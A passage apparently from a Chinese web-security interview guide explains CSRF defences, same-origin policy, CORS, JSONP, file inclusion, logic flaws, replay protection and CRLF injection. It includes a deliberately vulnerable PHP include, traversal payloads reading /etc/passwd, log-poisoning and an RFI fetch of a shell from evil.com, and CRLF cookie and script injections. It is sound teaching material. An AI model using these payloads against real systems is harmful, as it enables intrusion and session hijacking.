etree.XMLParser(resolve_entities=False)
- Java (DocumentBuilderFactory):
- 白名单过滤:如果业务必须接收 XML,在解析前过滤
<!ENTITY、SYSTEM、PUBLIC等关键字。 - 更新解析库:确保使用的 XML 库是最新版本,关闭默认的危险特性。
- 使用更安全的数据格式:能用 JSON 替代 XML 就替代,减少攻击面。
19、token 和 referer 做横向对比,谁安全等级高?为什么?
结论:Anti-CSRF Token 的安全等级绝对高于 Referer 检查。
Token:基于“同源策略”的不可读性(强依赖)
- 原理:Token 是由服务端生成并嵌入页面(如表单隐藏域)的一段随机值。浏览器最核心的安全机制——同源策略(Same-Origin Policy),严格禁止了不同源的网页通过 JavaScript 读取另一个源页面的具体内容。
- 为什么攻不破:攻击者在他的恶意站点
evil.com上,可以通过表单提交把请求发送到bank.com(带上了bank.com的 Cookie),但他绝对无法通过evil.com的 JS 去读取bank.com页面里的 Token。 - 结论:只要站点不同源,Token 对攻击者来说就是“黑盒”,天然免疫 CSRF。
Referer:基于“客户端声称的来源”的可信度(弱依赖)
- 原理:浏览器在请求头里带上 Referer,告诉服务器“我是从哪个页面链接过来的”。服务器据此判断请求是否来自自己的站点。
- 为什么不可靠:
- 可能被隐藏:出于隐私保护(如从 HTTPS 跳转到 HTTP),或某些企业级代理、浏览器插件、移动端浏览器,会直接丢弃或屏蔽 Referer。如果服务器把这当成“请求不合法”进而拒绝,会导致正常用户被误拦。
- 可能被伪造 / 篡改:攻击者虽然不能篡改受害者浏览器发出的 Referer,但如果受害者网络环境不干净(如存在恶意浏览器插件、开启了调试模式、使用了某些特定安卓 WebView),或者某些浏览器存在历史漏洞,Referer 是可以被移除或修改的。更重要的是,如果网站自己存在开放重定向漏洞,攻击者可以利用站点自身的合法 URL 构造一个“带有正确域名的假 Referer”。
- 结论:它把安全寄托于一个“浏览器说它从哪来”的不可靠声明,这违背了安全防御中“不信任客户端输入”的原则。
总结对比:
- 稳定性:Token 只要生成够随机、不泄露到 URL,防御就是确定性的。Referer 的防御是概率性的(浏览器可能不发,也可能发错)。
- 原则性:Token 做的校验是“证明你持有这个随机密钥”(看你知不知道)。Referer 做的校验是“证明你上一页是哪”(看你说的是不是真的),显然后者很容易被欺骗或丢失。
最终定位:Token 是主力防御机制,Referer 仅可作为监控告警的辅助手段。如果只依赖 Referer,攻击者可以通过构造一个无 Referer 头的请求(如使用 rel="noreferrer" 或从 HTTPS 跳到 HTTP 的场景)来绕过防御。
20、对 referer 的验证,从什么角度去做?如果做,怎么杜绝问题?
首先明确一个原则:Referer 绝不能作为 CSRF 防御的唯一手段,它是一层辅助校验,与 Token、SameSite 等主力机制配合才有意义。在这个前提下,可从以下几个角度设计 Referer 验证,并尽量减小它的问题。
1. 验证角度:严格白名单 + 空 Referer 策略
- 白名单匹配:只允许来自完全信任的域名的请求通过。包含协议、域名、端口都要严格一致。例如
https://www.example.com:443。不能是“只要是 example.com 域名就行”,因为子域名若被攻击者接管(如evil.example.com),也能发出合法 Referer。 - 路径粒度可忽略:Referer 包含完整路径,但验证只需要检查 origin(协议 + 域名 + 端口)。校验时解析 URL,提取 origin 与白名单比对,避免因页面路径多变导致维护困难。
- 空 Referer 的处理策略(最易出问题的地方):有些场景下 Referer 为空是正常的(例如用户从收藏夹 / 书签直接访问、HTTPS 跳转 HTTP 时浏览器不发送、某些隐私策略或企业代理移除)。如果业务对敏感操作一概拒绝空 Referer,会导致严重误拦。
- 推荐方案:对写操作(POST/PUT/DELETE)要求 Referer 必须存在且白名单内;若 Referer 为空,则拒绝并记录日志,但上层应用需要保证有其他更可靠的校验(如 Token)兜底,避免影响正常用户。如果 Token 已正确校验,则空 Referer 完全可以放行,因为主力防御已经完成。
2. 如何杜绝(或尽量规避)Referer 的问题
- 不单独依赖:绝对不将 Referer 校验作为唯一防线。必须配合 Anti-CSRF Token 或 SameSite Cookie。这样即使 Referer 被绕过或缺失,核心安全依然在。
- 开放重定向严格封堵:Referer 的风险之一是被自己的站点利用。如果站点存在开放重定向漏洞(如
https://example.com/redirect?url=...),攻击者可以构造一个看似指向我方站点的链接,实际会跳转到恶意页,但 Referer 却可能仍显示我方域名。所以必须修复所有开放重定向,或对跳转参数做严格白名单。 - HTTPS 全站并正确设置 Referrer-Policy:通过响应头
Referrer-Policy控制 Referer 的发送策略。推荐设置为strict-origin-when-cross-origin(同源发完整 URL,跨域只发 origin 且在 HTTPS 间发送)。这既能保护隐私,又能保证我们需要 Referer 的场景下能拿到 origin,方便校验,同时从 HTTPS 往外发请求时浏览器也不会彻底隐藏。 - 兼容性测试与日志监控:上线前大量测试不同浏览器、不同网络环境(包括移动端、企业代理)的 Referer 携带情况,观察有多少正常用户会带空 Referer,从而微调策略。同时线上实时监控 Referer 校验失败的比例,若异常飙高能快速发现误拦。
21、针对 token, 对 token 测试会注意哪方面内容,会对 token 的哪方面进行测试?
Token 的测试不能只停留在“验了等于一致就通过”,可从生成、传输、校验、销毁四个生命周期去审查它有没有薄弱点。
1. 随机性测试(防猜测)
- 检查是否可预测:抓几个 Token 样本,看是否有规律(如基于时间戳、递增序列、简单 MD5(用户名 + 日期))。如果能猜出下一个用户的 Token,CSRF 防御就形同虚设。
- 工具思路:用 Burp Suite 的 Sequencer 模块分析 Token 熵值,看是否满足密码学安全的随机性(足够长、不可预测)。
2. 绑定性测试(防盗用)
- 检查 Token 是否与 Session 绑定:用账号 A 的 Session 去提交账号 B 的 Token,或者把登录前后的 Token 混用。如果服务器不校验 Token 和当前 Session 的一一对应,拿到另一个用户的 Token 就能跨 Session 复用。
- 检查 Token 是否与操作绑定:一个 Token 是不是通用?比如改密码的 Token 能不能用来转账?如果能,就扩大了单一 Token 泄露的影响面。更严谨的做法是为每个关键操作(或表单)生成不同的 Token。
3. 传输方式测试(防泄漏)
- Token 是否在 URL 中传输:这是最危险的。如果 Token 出现在 Query String 中(如
?token=xxx),它会泄露在:浏览器历史记录、HTTP Referer 头(跳转到外部链接时)、Web 服务器访问日志(Nginx/Apache log)、第三方统计或 CDN 日志。 - 测试方法:看请求能不能改成 GET 方式发出去并生效,如果能,而 POST 里 Token 又没校验,那 Token 就很容易被泄露。
4. 校验逻辑测试(防绕过)
- 空值绕过:请求中完全不发 Token 参数,或者给 Token 赋空值,看服务器是否直接跳过校验。
- Token 复用测试:用一个过期的、已使用过的 Token,看服务器是否严格只允许一次性使用(特别是防重放攻击场景)。更关键的是,用同一个 Token 反复发送多次请求,看是否每次都能成功,这在支付或关键业务里可能是致命缺陷。
- 请求方法篡改:把 POST 改成 GET,看 Token 校验逻辑是否还生效。有些后端只对 POST 接口做了 Token 校验,GET 接口有一个功能相同的逻辑,却没有任何防护。
5. 与 XSS 的配合测试(纵深防御反证)
- 验证 Token 是否能被 JS 读取:检查 Cookie 是否设置了
HttpOnly。如果没有,同时存在 XSS 漏洞的话,攻击者可以直接用 JS 读取 Cookie 中的 Token,整个 CSRF 防御就彻底瓦解。测试时就是看能否通过注入简单的alert(document.cookie)拿到 Token 相关字段。
总结一句话:Token 的测试核心固然是“一致性校验”,但安全性建立在“不可预测、不可泄露、不可复用”这三点上。我的测试就是逐一验证这三点是否成立。
22、什么是同源策略?
同源策略(Same-Origin Policy)是浏览器最核心、最基础的安全机制。它由三个要素定义:协议(http/https)、域名(example.com)、端口(默认 80 或 443),三者必须完全一致,才算同源。
1. 同源策略限制了什么?(记住一个关键词:读)
- 限制跨域读取(Read):不同源的网页通过 JavaScript 无法访问对方页面的 Cookie、localStorage、DOM 树等。例如
evil.com上的脚本用iframe加载了bank.com,它无法通过 JS 读取iframe里的银行账户余额。 - 不限制跨域写(Write):表单提交、链接跳转这种“发出去”的动作,同源策略几乎不管。这就是为什么 CSRF 能成立——攻击者可以发起写请求,但读不到响应。
- 不限制跨域嵌入(Embed):
<img>、<script>、<link>等标签可以加载来自任何域的外部资源,这些都是跨域请求,不会被同源策略拦截。
2. 同源策略保护了什么?
- 用户身份的保密性:如果没有同源策略,你打开任何一个网页,它都能通过 JS 读到你在其他网站(比如邮箱、银行)的内容和 Cookie,互联网将毫无隐私可言。
- 资源的完整性:防止恶意网站通过 DOM 操作篡改你在另一个网站看到的内容。
3. 同源策略与之前讨论的 CSRF 防御有何关系?
这正是我们之前讨论 Token 为何安全的基石:攻击者可以发起跨域写请求(所以需要 Token),但因为同源策略阻止了读取,攻击者拿不到藏在页面里的 Token。
小结一句:同源策略本质上是浏览器施加给 JavaScript 的“读保护”机制。如果要允许合法的跨域读操作,就需要 CORS(跨域资源共享)机制,用响应头告知浏览器“这个跨域请求我服务器已认可”。
23、Ajax 是否遵循同源策略?
结论:Ajax 严格遵循同源策略,且比传统标签请求限制得更严。
1. 默认情况下,Ajax(XHR / Fetch)是完全受限的
同源策略的核心是禁止跨域读取。Ajax 不仅能发请求,它的设计初衷就是用 JavaScript 读取服务器返回的响应内容。如果一个页面在 https://www.example.com,通过 Ajax 向 https://api.other.com 发请求,浏览器会先发出请求,但随后会拦截 JavaScript 对响应的读取。你在代码里拿不到数据,会在控制台看到经典的 Access-Control-Allow-Origin 错误。这是对“写”和“读”的区分:一些跨域请求(如简单 GET)浏览器可以放行发出(与表单提交类似),但响应内容的“读”权限被牢牢控制在 JavaScript 手里。
2. 合法跨域的唯一出路:CORS(跨域资源共享)
想让 Ajax 突破同源策略跨域读取,必须依赖服务端授权的 CORS 机制。服务端在响应头中明确告知浏览器,允许当前来源的 JavaScript 读取。
- 关键响应头:
Access-Control-Allow-Origin: https://www.example.com(或授权来源)。 - 凭据处理:若 Ajax 需携带 Cookie,客户端要设置
withCredentials: true,服务端必须返回极其严格的Access-Control-Allow-Origin为具体域名(不能用*),并加上Access-Control-Allow-Credentials: true。缺少任何一个,浏览器都会拦截。 - 预检请求:对于复杂请求(如 Content-Type 非表单的 JSON POST 或自定义 Header),浏览器会先发一个
OPTIONS请求来“探路”。服务端的预检响应必须通过Access-Control-Allow-Methods/Headers明确放行。这是 Ajax 区别于<form>表单的重要安全增强。
3. 历史做法与现代态度(展示你的经验)
- JSONP:利用
<script>标签不受同源策略限制来获取跨域数据。但它是安全隐患,会直接执行对方域返回的任意脚本,且只支持 GET。我会明确说明,现代开发中不应再使用 JSONP,应用安全的 CORS 取代。 - 与 CSRF 的关联:同样,我们之前讨论的为什么 Token 能防 CSRF,正是利用了“Ajax 带自定义 Header 会触发预检,且无法简单表单伪造”,但 Token 防 CSRF 真正的基石仍是“同源策略阻止跨域读”。
总结:Ajax 严格遵循同源策略,不仅不能跨域读数据,复杂请求更需通过预检。要安全跨域,就用 CORS,且绝不配置 * 与携带凭据共存。
24、jsonp 是做什么的?
JSONP(JSON with Padding)的核心作用是绕过同源策略,实现跨域数据获取。它利用的是同源策略的一个“盲区”——<script> 标签的 src 属性不受同源限制,可以加载并执行来自任何域的脚本。
它的工作流程很简单:
- 前端定义一个回调函数:比如
handleData(result)。 - 动态创建标签:用 JavaScript 动态创建一个
<script>标签,把src指向跨域的 API,并在 URL 参数中传递回调函数名,例如<script src="https://other.com/api?jsonp=handleData"></script>。 - 服务器包裹返回:服务器收到请求后,不直接返回 JSON,而是把它“包裹”在函数调用里返回,比如
handleData({"name": "test"})。 - 浏览器执行:浏览器加载并立即执行这个脚本,
handleData就被调用,跨域的数据就这么拿到了。
不过,JSONP 是一个需要被替代的历史方案,它有几个致命缺点:
严重的 XSS 隐患:这是最核心的问题。它要求你对目标服务器的返回内容给予完全信任并当场执行。如果对方服务器被黑了,返回恶意脚本,你的站点就会直接中招,成了 XSS 的直接入口。
只支持 GET 请求:因为它本质上是浏览器去 GET 一个脚本文件,无法处理 POST、PUT 等操作。
缺乏错误处理机制:如果脚本加载失败或返回了非法的函数调用,很难优雅地捕获和处理错误。
因此,在现代 Web 开发中,JSONP 已被 CORS 彻底取代。CORS 通过 HTTP 响应头来精确控制跨域权限,支持所有 HTTP 方法,也更安全。除非是维护老旧项目,否则在任何情况下都应以 CORS 为首选方案,JSONP 的方案在安全审计中通常会被标记为高风险。
25、php 的 LFI, 本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?如果无报错回显,你是怎么遍历文件的?
1. 原理:LFI(Local File Inclusion,本地文件包含)漏洞的根源,是 PHP 的文件包含函数(include、include_once、require、require_once)在加载文件时,使用了用户可控的变量来构造路径,且未做充分过滤。攻击者通过操控文件路径参数,可以读取服务器上的任意本地文件,比如 /etc/passwd 或应用程序源码。若能结合文件上传或日志注入,还能往文件中写入自己的恶意内容再包含,最终实现远程代码执行(RCE)。
2. 漏洞代码示例:
<?php
// index.php
// 漏洞:直接用用户输入拼路径,无任何过滤
$file = $_GET['page'];
include("pages/" . $file);
?>
攻击方式举例:
- 路径遍历读文件:访问
?page=../../etc/passwd就能读取系统文件。 - 源码读取:用
?page=../index可能会把index.php源码包含出来(若后缀自动拼接,可使用?page=../index.php或配合截断技巧)。 - Getshell:如果服务器记录了访问日志,先访问一个带
<?php phpinfo();?>的恶意 URL 把它写进日志,再用 LFI 包含日志文件,恶意代码就会被执行。
3. 手工发掘(安全审计视角):
- 代码审计:在源码中搜索四个关键函数
include、require、include_once、require_once,逆向追踪进入函数的变量。若变量直接或间接来自客户端($_GET、$_POST、$_COOKIE、$_REQUEST),且路径中没有写死固定的完整路径,而是用.拼接,大概率存在 LFI。 - 黑盒测试:观察 URL 参数中明显的文件引用特征,如
?page=index、?file=header、?lang=zh等出现文件名或路径的参数,尝试经典测试 payload../../../../etc/passwd来观察响应变化。
4. 若无报错回显,如何遍历文件?
当 display_errors=Off 或包含失败时页面为空白 / 统一返回,无法直接确认文件是否存在。这在常被称为“盲 LFI”,遍历 / 利用方法有几套:
- 字典爆破常见路径:用 Dirsearch、ffuf 等对参数进行常见敏感文件路径 Fuzz。比如预置路径字典:
/etc/passwd、/proc/self/environ、各已知 CMS 配置文件路径、/var/log/nginx/access.log等。通过观察响应长度变化或页面特征来判断。 - 基于特征判断文件存在:PHP 包含不存在的文件会触发 Error,即使屏蔽报错,响应内容也可能有细微差异(如页面删除痕迹、部分内容丢失)。在自动化测试时,对比正常页面与请求 payload 后的页面响应长度。
两种文件包含流程对比(攻击链):
- 普通文件包含到 Getshell:先读日志(如
/var/log/nginx/access.log或/proc/self/fd/2等),写入带 PHP 恶意代码,再包含执行。 - 盲文件包含 Getshell:如果完全无回显且需要代码执行,可利用
php://filter和 chain 技术;或利用 包含临时文件(phpinfo 条件竞争)+ 自动生成临时文件包含。也可以包含/proc/self/environ中以 User-Agent 写入的恶意代码。
技巧:如果不知道目标路径结构,用熟悉的框架路径字典最有效。因为大部分站点基于 CMS 或框架,文件结构相对固定。还可以通过读取 /proc/self/cwd(当前工作目录)等特殊文件来确定 Web 根目录,随后构造进一步路径。
26、文件包含漏洞原理?导致文件包含的函数?
1. 漏洞原理:
文件包含漏洞的根因,是 PHP 在包含文件时,使用了未经过滤的用户输入来动态构造文件路径。PHP 解析器在遇到 include 等语句时,会读取指定文件的内容,若为 PHP 代码则立即执行。攻击者如果能够控制这个路径,就可以让服务器加载并执行原本不该访问的文件。
根据被包含文件的来源,主要分为两类:
- 本地文件包含(LFI):读取服务器本地的敏感文件(如
/etc/passwd、应用源码),或通过包含可写文件(日志、session)实现代码执行。 - 远程文件包含(RFI):如果
allow_url_include=On,攻击者可以指定一个远程服务器上的恶意脚本(如http://evil.com/shell.txt),服务器直接拉取并执行,从而实现远程代码执行。
简单来说,漏洞发生的条件是:文件路径参数可控 + 未充分过滤 + 权限允许。RFI 还额外需要 PHP 配置允许远程包含。
2. 导致文件包含的函数(PHP):
四个核心函数都具备文件包含能力,差异主要在出错时的处理:
| 函数 | 出错时 | 是否允许远程(配置开启时) |
|---|---|---|
| include | 发出 Warning,脚本继续运行 | 是 |
| include_once | 同上,但已包含的不会再次包含 | 是 |
| require | 发出 Fatal Error,脚本终止 | 是 |
| require_once | 同上,不重复包含 | 是 |
另外,其他可能有包含行为的函数也需警觉:highlight_file、show_source、fopen(配合伪协议)、file_get_contents(配合伪协议)、SplFileObject 等,审计时若路径可控,同样可能导致文件内容泄露或包含。
3. 防御总结:
- 原则: 尽量不用动态包含,如需使用,采用白名单映射,禁止用户直接控制路径。
- 配置加固: 关闭危险配置
allow_url_include=Off、allow_url_fopen=Off(根据业务)。 - 输入过滤: 过滤路径穿越符号(
. / \),限制文件后缀为固定值(如.php)。 - 目录限制: 设置
open_basedir限制可访问目录,缩小被攻击的读取范围。
27、说出至少三种业务逻辑漏洞,以及修复方式?
1. 支付 / 金额篡改
- 核心问题:前端价格被当作可信数据,后端直接接收用户传回的金额计算支付金额。
- 攻击场景:购买商品时抓包,将 POST 请求中的
price=100改为price=1,服务器按 1 元结算。 - 修复方式:
- 后端计价:绝不以客户端传回的价格为准。必须根据商品 ID 从数据库 / 缓存中实时查出真实价格。
- 订单签名:生成订单时,对商品详情、金额、时间戳做 HMAC 签名。支付时验签,防篡改。
- 金额二次比对:支付回调时,必须校验支付平台返回的金额与本地订单金额完全一致,防止中间人篡改或负值支付。
2. 越权(IDOR,不安全的直接对象引用)
- 核心问题:服务端仅通过前端请求体中的可枚举 ID 来标识资源,且缺乏权限归属校验。
- 攻击场景:查订单时发现 URL 为
/order?id=1024,遍历 ID 即可查看甚至删除他人订单。 - 修复方式:
- 显式权限校验:每次操作资源前,必须核对当前登录用户 ID 是否与数据库中该资源的所属用户 ID 一致。代码里绝不能只验证“是否登录”,必须验证“是不是你的”。
- 使用不可预测的伪随机 ID:避免使用自增 ID 对外暴露,改用 UUID 或加密 ID,增加遍历成本(但这只是安全纵深而非根本,根本仍在权限校验)。
- 最小化数据返回:查询接口不返回整个对象,只返回该用户有权查看的字段。
3. 验证码 / 凭据爆破与逻辑绕过
- 核心问题:关键验证环节缺少服务端计数器或状态机校验,允许攻击者无限重试或通过修改响应绕过。
- 攻击场景:
- 爆破:短信验证码 4 位纯数字,且接口无发送频率限制,攻击者在一个周期内暴力枚举所有可能验证码,接管他人账户。
- 绕过:登录返回
{"code":0}表示失败,攻击者抓包将响应篡改为{"code":1}即可伪造成登录成功。
- 修复方式:
- 服务端频率限制:对同一目标账号或 IP 的尝试次数做严格限制(如图形验证码连续 5 次失败后封锁 15 分钟),发送短信验证码的限流同样重要。
- 增加验证难度并设置时效:验证码增加图形滑块或行为式验证,且验证码不在客户端生成或泄露,同时设置 1 - 5 分钟的短时效。
- 业务状态不可由客户端决定:登录成功与否的最终判定,必须完全依赖服务端 Session 状态,绝不能接受前端回传的任何“状态码”作为登录凭据。
28、金融行业常见逻辑漏洞有哪些?
金融行业常见逻辑漏洞,我会围绕资金、账号、信息这三个核心资产,分四类来阐述:
一、支付与交易链路(最直接的资金风险)
- 金额篡改:用户在支付时将金额从 1000 改成 0.01,服务器却未从数据库重算价格。
- 修复:服务器端依据商品 ID 查库获取真实订单金额,绝不从前端接收价格;支付完成后,需将第三方回调的实付金额与本地订单金额做严格匹配。
- 负值支付 / 数量溢出:购买 -1 件商品,余额反增;或用超大整数让总金额溢出重置为 0。
- 修复:对数量、金额做强类型校验,必须为正整数 / 正浮点数,且不低于业务设定的下限。
- 并发竞态条件:同一个红包或优惠券,高并发下被多次使用;同一笔提现并发请求,余额只扣一次却多次出款。
- 修复:对关键记账操作使用数据库行锁(SELECT FOR UPDATE)或分布式锁,或利用数据库唯一约束防止重复扣款。
- 费用绕过 / 参数篡改:抓包篡改接口参数,跳过手续费、邮费,或用其他用户的优惠券 ID。
- 修复:费用在后端统一计算,优惠券需校验所属用户和适用范围。
二、越权与账户接管(最隐蔽也最致命)
- 未授权访问 / 越权:订单 ID 可枚举,通过修改 orderId 查看他人详细交易记录或账户余额。
- 修复:所有资源访问前,校验资源所有者是否为当前登录用户(基于 Session),且对外使用非自增的伪随机业务 ID。
- 账户接管(密码重置逻辑漏洞):重置密码时,验证码通过后可返回修改后的页面,其 URL 中包含可修改的 userId,换掉它即可为他人账号设置新密码。
- 修复:重置凭证与具体账号绑定,关键步骤必须凭服务端签发的 Ticket 进行,不能信任用户端传回的账号标识。
- 绑定 / 解绑逻辑绕过:修改绑定手机号的接口,服务器只校验了短信验证码,未校验原手机的短信,导致攻击者可以将账号手机号替换为自己。
- 修复:任何变更核心绑定信息,必须同时校验新旧双因素的凭证(旧手机验证码 + 新手机验证码 + 身份验证)。
三、对账、清算与状态机漏洞(金融特有的流程风险)
- 状态回滚或强制修改:订单已支付后,仍可修改订单金额或收货地址;交易已撤单,资金却未正确回退。
- 修复:关键状态的流转严格定义,已终态的单据禁止回退;状态修改前做业务合法性判断。
- 手续费 / 利息计算漏洞:在计息日通过频繁转入转出,利用“日终余额”计息法和四舍五入精度问题,把利息放大或截断的好处据为己有。
- 修复:计息逻辑在底层做高精度计算(误差入总账),核心账务处理有完整的核算和对账系统。
- 对账文件与接口不一致:支付成功,但回调和对账单处理使用了不同的解析逻辑,攻击者可构造格式使一方成功一方失败,产生单边账。
- 修复:回调处理时,必须根据统一的数据结构解析,并与支付方的交易流水号、金额严格一致。
四、营销与信贷类(资损的重灾区)
- 活动刷单 / 薅羊毛:攻击者利用脚本批量注册新账号,领取仅限新用户的红包或满减券。
- 修复:设备指纹、IP 风控、行为式验证码综合防控;对领券设同设备、同 IP、同支付账户的严格限制。
- 授信 / 风控逻辑绕过:在信贷申请流程中,跳过关键的风控数据采集步骤直接进入签约放款环节。
- 修复:业务流程强依赖服务端状态机,任何步骤不可跳过;最终放款前必须有独立的风控决策服务做最终通过。
总结:金融行业逻辑漏洞的本质是对资金流、信息流、控制流的一个或多个环节的“信任假设”被打破。防御的核心是:永不信任客户端数据、对资产生命周期做严格控制、以及与第三方支付核对分毫不差的记账一致性。
29、添加时间戳防止重放攻击的原理?
核心原理:给请求加上“有效期”
单纯的服务器是无法区分一个请求是用户刚刚发出的,还是攻击者截获后原样重放的。时间戳的加入,就是在请求里打上一个时间标签。
原理分两步:
- 时效性校验:客户端发请求时,把当前时间戳(如
timestamp=1700000000)一起带上。服务端收到后,第一时间检查这个时间戳与当前服务器时间的差值。如果差值超过设定的窗口(如 60 秒),服务端就拒绝这个请求。 - 为什么必须配合签名:这里有一个关键问题——如果只传时间戳,攻击者可以抓包后,把时间戳改成最新的,再重放出去。所以,时间戳绝不能明文单传。我们通常会把时间戳、请求体、Nonce(随机数)、密钥等放在一起,做一个 HMAC 签名。
签名之后的流程变成:请求体 + 时间戳 + Nonce → 使用密钥生成签名 → 全发给服务器。
服务器用同样的方式算一遍签名,比对是否一致。因为攻击者没有密钥,无法为“新的时间戳”伪造出合法的签名,所以改时间戳无效。而如果他不改时间戳,只拿着过期请求重放,又会因为时效性校验不通过而被拒绝。
总结:时间戳解决了“请求是否新鲜”的问题,签名解决了“时间戳是否可信”的问题。两者结合,才能做到防重放。
30、如何设置可以跨域请求数据?
浏览器默认禁止跨域读数据,要安全地跨越这个限制,主流有四种方案。我会根据场景选择最合适的:
1. CORS(跨域资源共享)—— 最标准、最强大的方案
这是 W3C 标准,原理是服务端通过 HTTP 响应头告诉浏览器:“我允许来自某个源的请求”。
- 简单请求:服务器只需返回
Access-Control-Allow-Origin: https://www.example.com(或*,仅限公开 API)。 - 带凭据请求(需要携带 Cookie):前端设置
withCredentials: true,服务端必须返回Access-Control-Allow-Origin: 具体域名(绝对不能是*)并加上Access-Control-Allow-Credentials: true。 - 复杂请求(如带自定义头、JSON 格式的 POST):浏览器会先发一个
OPTIONS预检请求,服务端需返回Access-Control-Allow-Methods和Access-Control-Allow-Headers明确放行的方法和头。
适用场景:任何现代 Web 应用的前后端数据交互,是最推荐的方案。
2. JSONP(JSON with Padding)—— 老旧、不安全,仅限 GET
利用 <script> 标签的 src 不受同源策略限制的特性。
- 流程:前端动态创建
<script>标签,把回调函数名拼在 URL 上发给跨域服务器;服务器返回handleData({...});浏览器收到后立即执行。 - 致命缺陷:会无条件执行对方域返回的脚本,存在严重 XSS 风险;只支持 GET,无法做复杂数据操作。
适用场景:仅用于维护老旧项目的兼容,新项目严禁使用。
3. 服务端代理(Server-Side Proxy)—— 绕过浏览器的“物理外挂”
同源策略是浏览器的规则,服务器之间通信不受限制。
- 流程:在同源的 Web 服务器上写一个代理接口,前端请求这个同源接口,由后端转发到目标跨域服务器,拿到数据后再返回给前端。
- 优点:彻底绕过浏览器限制,前端完全无感。
- 安全注意:代理接口必须做严格的白名单限制,防止被滥用为 SSRF 跳板,攻击者可能通过你的代理去打内网。
适用场景:需要从外部 API 拉数据但对方不支持 CORS、调用内网服务、或需要隐藏真实 API 地址时。
4. postMessage —— 前端页面 / iframe 间通信专用
这是 HTML5 提供的跨文档通信 API,用于不同源的窗口、iframe 之间传数据,不是用来发 HTTP 请求的。
- 流程:发送方调用
targetWindow.postMessage(data, '目标源'),接收方监听window.addEventListener('message', ...)并校验event.origin。
适用场景:第三方组件嵌入、多窗口协作、跨域 iframe 父子页面通信。
最终选择策略:
- 首选 CORS,现代标准,灵活安全。
- 无法 CORS 时用 服务端代理,强制加白名单防 SSRF。
- 窗口 /iframe 通信选 postMessage,严格校验 origin。
- 绝不选 JSONP 作为新方案,它属于安全负债。
31、CRLF 注入的原理?
CRLF 分别代表回车(\r,%0d)和换行(\n,%0a)。在 HTTP 协议规范中,HTTP 头部字段之间是通过 CRLF(\r\n)分隔的,而头部和响应体(Body)之间是用连续的两个 CRLF(\r\n\r\n)分隔的。
CRLF 注入的核心原理是:Web 应用没有对用户的输入进行严格过滤,直接将其拼接到了 HTTP 响应头中(常见于重定向 Location 头或下载文件时的头)。这导致攻击者可以通过注入换行符,打破原有的 HTTP 报文结构。
在实战漏洞利用中,通常会通过这种原理构造以下三种攻击场景:
注入新的 HTTP 头部(如会话固定):
如果我发现一个输入点被拼接到头部,我会输入类似 %0d%0aSet-Cookie: session=hacker 的 Payload。服务器解析时遇到 CRLF 就会换行,把 Set-Cookie 当作一个独立的新头部输出。这样就能强行给受害者浏览器种下恶意的 Cookie,造成会话固定或劫持。
HTTP 响应拆分攻击(引发 XSS):
这是 CRLF 进阶的利用方式。我会直接输入两个连续的换行符 %0d%0a%0d%0a,这在 HTTP 协议里意味着“头部结束,接下来是正文”。然后我在后面拼接 <script>alert(1)</script>。浏览器收到响应后,会误以为后面的恶意脚本就是网页的正常代码并直接执行,从而导致 XSS 攻击。
日志伪造(Log Forging):
除了在 HTTP 报文中,如果后台日志系统直接记录了用户输入,我可以通过注入换行符,在日志文件里凭空捏造一条看起来完全合法的系统级日志,比如伪造管理员登录成功的记录,用来掩盖真实的攻击痕迹。
32、owasp 漏洞都有哪些?
一、什么是 OWASP Top 10
OWASP Top 10 是开放式 Web 应用程序安全项目发布的一份标准化意识文件,代表全球共识下 Web 应用最关键的十大安全风险。它不是“所有漏洞的清单”,而是风险分类和防御优先级指南——面试官看重的,是你能否将漏洞映射到攻击面、讲清防御思路。OWASP 每 3~4 年更新一次,目前最新为 2025 版。
二、2025 版 OWASP Top 10 及对应攻击面
| 威胁排名 | 类别 | 典型案例 / 漏洞映射 |
|---|---|---|
| A01 | 失效的访问控制 | 越权(IDOR)、路径遍历、CSRF、SSRF(2025 将 SSRF 从单独条目合并至此) |
| A02 | 安全配置错误 | 默认密码未改、调试接口暴露、XXE(2021 起被合并至此类)、CORS 宽松配置、Cookie 缺少 Secure/HttpOnly 标志 |
| A03 | 软件供应链失效 | 依赖库含已知漏洞(Log4j 事件为典型案例)、第三方 SDK 被篡改、CI/CD 流水线污染、SBOM 缺失 |
| A04 | 加密机制失效 | 弱加密算法(DES/RC4)、明文传输敏感数据、弱哈希(MD5/SHA1)用于密码存储、伪随机数种子可预测 |
| A05 | 注入 | SQL 注入、命令注入、LDAP 注入、XSS(从 2017 开始逐步纳入注入大类) |
| A06 | 不安全设计 | 缺少威胁建模、业务逻辑漏洞(如支付金额篡改)、安全需求未在架构阶段定义、过度信任客户端输入 |
| A07 | 身份认证失效 | 弱密码策略、凭证填充、会话固定、JWT 算法混淆攻击、“记住我”功能可被劫持 |
| A08 | 软件与数据完整性失效 | 不安全的反序列化、自动更新不验签名、CI/CD 产物被替换(SolarWinds 攻击模式) |
| A09 | 安全日志与告警失效 | 攻击行为无记录、日志被注入篡改、无实时告警机制导致入侵平均驻留时间长达 200 天以上 |
| A10 | 异常情况处理不当 | 错误页面泄露堆栈信息 / 数据库版本、未捕获异常导致状态不一致、AI 模块的提示注入 |
三、版本演进关键变化
- 2017 版:注入排第 1。XXE 为独立条目(A4),XSS 为独立条目(A7),不安全的反序列化为独立条目(A8)。
- 2021 版:访问控制升至第 1,注入降至第 3。引入“不安全设计”概念(A4)。XXE 被合并至安全配置错误(A5)。XSS 合并至注入(A3)。不安全的反序列化合并至完整性失效(A8)。新增“软件和数据完整性故障”。SSRF 作为独立条目首次列入(2021 A10)。
- 2025 版:新增“软件供应链失效”(A03)和“异常情况处理不当”(A10)。SSRF 合并至访问控制(A01),不再独立成项。安全配置错误升至第 2。
四、从常规分类维度补充
按作用位置与形态划分,与前述 Top 10 互补对照,体现体系化思维:
- 服务端漏洞:SQL 注入、命令注入、XXE、不安全的反序列化、SSRF、LFI/RFI、权限绕过。
- 客户端漏洞:XSS、CSRF、Clickjacking、DOM 型漏洞、CORS 配置不当。
- 通道 / 通信漏洞:敏感数据明文传输、弱 TLS 配置。
- 安全特性缺失:无 CSP 头、无 HttpOnly 标志、无频率限制。
- 业务逻辑漏洞:支付篡改、验证码绕过、并发竞态。
五、面试赋能——举例快速串联
